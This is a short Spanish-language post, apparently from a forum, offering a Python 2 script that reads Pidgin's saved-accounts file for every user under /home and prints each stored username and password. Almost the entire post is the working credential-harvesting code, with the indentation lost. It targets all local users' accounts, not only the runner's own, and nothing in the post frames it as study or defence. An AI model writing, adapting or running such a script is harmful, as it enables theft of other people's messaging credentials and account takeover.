un simple script que obtiene las cuentas guardadas del cliente de mensajeria PIDGIN.
probado en la version "Pidgin 2.6.6 (libpurple 2.6.6)"
##############################################
## Obtiene las ccuentas guardadas de pidgin ##
## Mail: angelofthedark@live.com.ar ##
##############################################
import os
#funcion que obtiene las cuentas desde el archivo accounts.xml
def obtenerCuentas( ruta ):
try:
h = open(usu+cuentasXML)
src = h.read()
tmp1 = src.split("<name>")
tmp2 = src.split("<password>")
for s in tmp1:
if "</name>" in s:
cuentas[0].append(s.split("</name>")[0])
for t in tmp2:
if "</password>" in t:
cuentas[1].append(t.split("</password")[0])
except:
print "Error, nose puede continuar !!"
exit(0)
home = "/home"
cuentasXML = ".purple/accounts.xml"
archivos = os.listdir(home)
usuarios = []
cuentas = [[],[]] #cuentas[0][0] => mail ; cuentas[0][1] => password
for ar in archivos:
if os.path.isdir(home+"/"+ar):
usuarios.append(home+"/"+ar+"/")
for usu in usuarios:
obtenerCuentas( usu+cuentasXML )
#imprime por pantalla el mail y el password.
cont = 0
for cnt in cuentas[0]:
print "+++++++++++++++("+str(cont)+")+++++++++++++++"
print "mail ==> " + cnt
print "password ==> " + cuentas[1][cont]
cont+=1
print "+++++++++++++++(-.FIN.-)+++++++++++++++"
saludos.